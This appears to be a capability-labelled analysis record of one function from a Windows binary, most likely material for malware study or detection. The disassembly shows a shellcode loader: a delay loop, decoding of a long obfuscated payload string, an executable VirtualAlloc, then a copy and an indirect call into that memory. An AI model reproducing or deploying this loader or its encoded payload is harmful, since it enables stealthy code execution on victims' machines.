Function at 0x40172f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x458
call fcn.004018f0
mov dword [ebp - 0x1c], 0xd903
jmp 0x40176b
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x411642
call fcn.0040154d
sub dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
jg 0x401754
mov dword [ebp - 0x449], 0
lea eax, [ebp - 0x445]
mov ecx, 0x425
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [str.uxv8890000006089v531w2648y52308y520x8y52148y72280uy74z2631uu31x0zx3x617x022x20x1xu0w01x7v2u052578y52108y423x01w08y407885x0744z01w0508y48188y582001w3v33x498y348y01w631uu31x0zxx1xu0w01x738v075u4037wu83y7w2475v2588y582401w3668y0x4y8y581x01w38y048y01w0894424245y5y61595z51uuv0585u5z8y12vy865w686v6574006877696v6954684x772607uuw531uu5757575757683z5679z7uuw5v9840000005y31x951516z035151680u27000053506857899ux6uuw5vy705y31w252680002408452525253525068vy552v3yuuw589x683x35031uu57576zuu5356682w06187yuuw585x00u84x301000031uu85u6740489u9vy0968zzx5v25wuuw589x16845215v31uuw531uu576z0751565068y757v00yuuw5yu002u000039x774y731uuv991010000v9x9010000v88yuuuuuu2u6x5z5541009yx23w483uw7x3831z3437xy45v7x5uvv6796xu0u94v1346z1yyu2048w5w30x0857701zy408u053y6x07591uu3v65z2ywvy7v1z026v78574857v0y61z2694xxx26vy0660wwv79740u900557365722w4167656v743z204w6u7z696x6x612u352v302028636u6w70617469626x653y204w5349452031302v303y2057696v646u7773204v5420362v323y20574u5736343y2054726964656v742u362v303y20546u756368290w0z0003u2w900097x19w78v0y2v47z5uzzy8z6y23yvwxu81x01vy110wwy3yx069yz3ux9y1431z113wvuu4yy4751z33x6uu988uyz7yyy99129193429z3uv42w3yv96965uz95vw120vzuv332z8w94wxvvy4w140x381x4u7uy1u1479yx109x98zy7928w6z58397123zy4uvw0158793221533v86xw45xwy95v6ww05x70u0yyuy5xy11y857x0w412vv501u879yz999yu549yy7181yx5xx5u5w347468692x03v6849y9130yu0151z73039y9vw1zxxx29z90033x32uw453v9x78379vx929yv0u7378907257866y8u5w67uwu38777492132xv7u55889yvxz10068u0y5z256uuw56z4068001000006800004000576858z453v5uuw593y90000000001w9515389v7576800200000535668129689v2uuw585x074x68y0701x385x075v558x3v8z9uwuuuu3130312v34332v31322v313131006uzz51x3]
mov dword [esp + 4], 0x411646
mov dword [esp], eax
call fcn.00401589
mov dword [esp + 4], eax
lea eax, [ebp - 0x449]
mov dword [esp], eax
call fcn.004016f4
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x429
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, eax
lea eax, [ebp - 0x449]
mov edx, 0x429
mov ebx, dword [eax]
mov dword [ecx], ebx
mov ebx, dword [eax + edx - 4]
mov dword [ecx + edx - 4], ebx
lea ebx, [ecx + 4]
and ebx, 0xfffffffc
sub ecx, ebx
sub eax, ecx
add edx, ecx
and edx, 0xfffffffc
shr edx, 2
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
call eax
nop
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret